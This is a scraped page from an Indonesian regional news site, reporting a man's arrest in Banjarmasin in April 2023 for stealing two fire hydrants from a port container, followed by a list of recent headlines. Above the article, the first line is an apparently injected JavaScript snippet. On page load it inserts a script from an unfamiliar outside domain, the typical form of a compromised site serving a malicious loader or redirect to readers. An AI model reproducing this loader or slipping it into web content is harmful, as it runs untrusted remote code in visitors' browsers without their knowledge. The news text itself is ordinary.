(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Curi Dua Buah Hydrant di Kontainer Pelabuhan Trisakti, Lelaki Ini Berlebaran di Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Kepolisian Sektor (Polsek) Kawasan Pelabuhan dan Laut (KPL) Banjarmasin berhasil mengamankan seorang lelaki pelaku pencurian di kawasan Pelabuhan Trisakti Banjarmasin.

AS (34) warga Mantuil Raya, Kecamatan Banjarmasin Selatan, Kota Banjarmasin, harus berlebaran di rumah tahanan karena mencuri dua buah hydrant (alat pemadam).

Dijelaskan Kapolsek KPL Banjarmasin Kompol Aryansyah melalui Kanit Reskrim Iptu Bagus Syahid, pada hari Kamis (13/4/2023) sekitar pukul 10.00 Wita, Septian Dwi Cahyo (37) warga Landasan Ulin, Kota Banjarbaru menerima telrpon dari saksi Khairani jika rantai gembok kontainer warna biru nomor TAKU 601694 miliknya terbuka.

Kemudian saksi juga melaporkan kepada pemilik kontainer jika dua buah hydrant bewarna merah di dalam kontainer tersebut telah hilang.

 

Baca juga: Operasi Ketupat 2023, Polda Kalsel Siagakan Ribuan Personel

Selanjutnya pada Jumat (14/4/2023) sekitar pukul 14.00 Wita, security pelabuhan mendapati pelaku sedang membuka rantai dan gembok kontainer TGHU 7996929 yang diketahui berisi barang milik Septian yang hilang.

Setalah ditanyakan, AS tidak dapat mengelak dan mengakui jika ia yang mencuri dua buah hydrant di dalam kontainer nomor TAKU 601694 tersebut.

“Dari kejadian tersebut pelapor mengalami kerugian sebesar Rp 9 juta, dan korban menuntut sesuai hukum,” kata Kanit Reskrim, Iptu Bagus, Senin (17/4/2023) siang.

Lebih lanjut terang Iptu Bagus, pelaku AS bersama barang bukti telah diamankan di Polsek KPL untuk dialakukan proses hukum lebih lanjut.

Sementara itu, perbuatan pelaku diancam dengan Pasal 363 Ayat (1) ke 5 tentang Pencurian dengan Pemberatan Jo. Pasal 53 Kitab Undang-Undang Hukum Pidana (KUHP) dengan ancaman hukuman maksimal tujuh tahun penjara. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.